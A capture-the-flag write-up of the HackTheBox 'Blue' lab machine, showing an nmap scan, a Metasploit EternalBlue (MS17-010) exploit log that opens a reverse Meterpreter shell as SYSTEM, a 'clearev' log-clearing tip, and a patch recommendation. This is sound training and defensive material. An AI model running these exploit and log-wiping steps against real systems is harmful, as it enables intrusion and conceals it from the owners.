HackTheBox - Blue (Easy)

Table of contents

Table of contents
Enumeration
    Nmap scan
EternalBlue (RCE)
Clearing tracks
Vulnerabilities summary
    EternalBlue (MS17-010)
        Pentester evaluation
        Patch proposition
Tools used
Sources

Enumeration

Nmap scan

```
# Nmap 7.93 scan initiated Thu Jun 15 20:19:46 2023 as: nmap -A -p- -oN nmapResults.tx
t -T5 -v 10.10.10.40
Warning: 10.10.10.40 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.10.40
Host is up (0.027s latency).
Not shown: 65521 closed tcp ports (conn-refused)
```

```
PORT      STATE    SERVICE      VERSION
135/tcp   open     msrpc        Microsoft Windows RPC
139/tcp   open     netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open     microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-d
s (workgroup: WORKGROUP)
16634/tcp filtered unknown
34014/tcp filtered unknown
38079/tcp filtered unknown
49152/tcp open     msrpc        Microsoft Windows RPC
49153/tcp open     msrpc        Microsoft Windows RPC
49154/tcp open     msrpc        Microsoft Windows RPC
49155/tcp open     msrpc        Microsoft Windows RPC
49156/tcp open     msrpc        Microsoft Windows RPC
49157/tcp open     msrpc        Microsoft Windows RPC
58414/tcp filtered unknown
64464/tcp filtered unknown
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   210:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2023-06-16T00:21:19
|_  start_date: 2023-06-16T00:18:33
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery:
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: haris-PC
|   NetBIOS computer name: HARIS-PC\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2023-06-16T01:21:16+01:00
|_clock-skew: mean: -19m57s, deviation: 34m37s, median: 1s

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/s
ubmit/ .
# Nmap done at Thu Jun 15 20:21:23 2023 -- 1 IP address (1 host up) scanned in 96.95 s
econds
```

We can notice that ports **139** and **445** are open, and that the target is running **Windows 7 Professional**.

EternalBlue (RCE)

Windows 7 Professional may be vulnerable to **EternalBlue**. We can use **Metasploit Framework** to exploit this vulnerability :

```
msf6 > search Eternalblue

Matching Modules
================

   #  Name                                      Disclosure Date  Rank     Check  Descr
iption
   -  ----                                      ---------------  ----     -----  -----
------
   0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-
010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS17-
010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   2  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS17-
010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   3  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS17-
010 SMB RCE Detection
   4  exploit/windows/smb/smb_doublepulsar_rce  2017-04-14       great    Yes    SMB D
OUBLEPULSAR Remote Code Execution


Interact with a module by name or index. For example info 4, use 4 or use exploit/wind
ows/smb/smb_doublepulsar_rce

msf6 > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST tun0
LHOST => tun0
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.10.40
RHOSTS => 10.10.10.40
msf6 exploit(windows/smb/ms17_010_eternalblue) > run

[*] Started reverse TCP handler on 10.10.14.3:4444
[*] 10.10.10.40:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.10.40:445       - Host is likely VULNERABLE to MS17-010! - Windows 7 Profess
ional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.10.40:445       - Scanned 1 of 1 hosts (100% complete)
[+] 10.10.10.40:445 - The target is vulnerable.
[*] 10.10.10.40:445 - Connecting to target for exploitation.
[+] 10.10.10.40:445 - Connection established for exploitation.
[+] 10.10.10.40:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.10.40:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.10.40:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Win
dows 7 Profes
[*] 10.10.10.40:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sio
nal 7601 Serv
[*] 10.10.10.40:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice
Pack 1
[+] 10.10.10.40:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.10.40:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.10.40:445 - Sending all but last fragment of exploit packet
```

```
[*] 10.10.10.40:445 - Starting non-paged pool grooming
[+] 10.10.10.40:445 - Sending SMBv2 buffers
[+] 10.10.10.40:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 bu
ffer.
[*] 10.10.10.40:445 - Sending final SMBv2 buffers.
[*] 10.10.10.40:445 - Sending last fragment of exploit packet!
[*] 10.10.10.40:445 - Receiving response from exploit packet
[+] 10.10.10.40:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.10.40:445 - Sending egg to corrupted connection.
[*] 10.10.10.40:445 - Triggering free of corrupted buffer.
[*] Sending stage (200774 bytes) to 10.10.10.40
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] Meterpreter session 1 opened (10.10.14.3:4444 -> 10.10.10.40:49158) at 2023-06-15
20:28:41 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

Now we have a shell as `NT AUTHORITY\SYSTEM`, so we have full control over the target.

Clearing tracks

- Remove logs with the `clearev` command using the **meterpreter**.

Vulnerabilities summary

EternalBlue (MS17-010)

Pentester evaluation

- Score : **10.0 CRITICAL**
- Impact : Allows an attacker to execute arbitrary code as **NT AUTHORITY\SYSTEM**. This could allow an attacker to gain a shell with full control over the system.

Patch proposition

Update the system through **Windows Update**.

Tools used

- **Nmap** ← enumerate open ports and services

- **msfconsole** ← run the **Eternalblue** exploit against the target

Sources

- EternalBlue wikipedia article : https://fr.wikipedia.org/wiki/EternalBlue
- EternalBlue NIST NVD page : https://nvd.nist.gov/vuln/detail/cve-2017-0144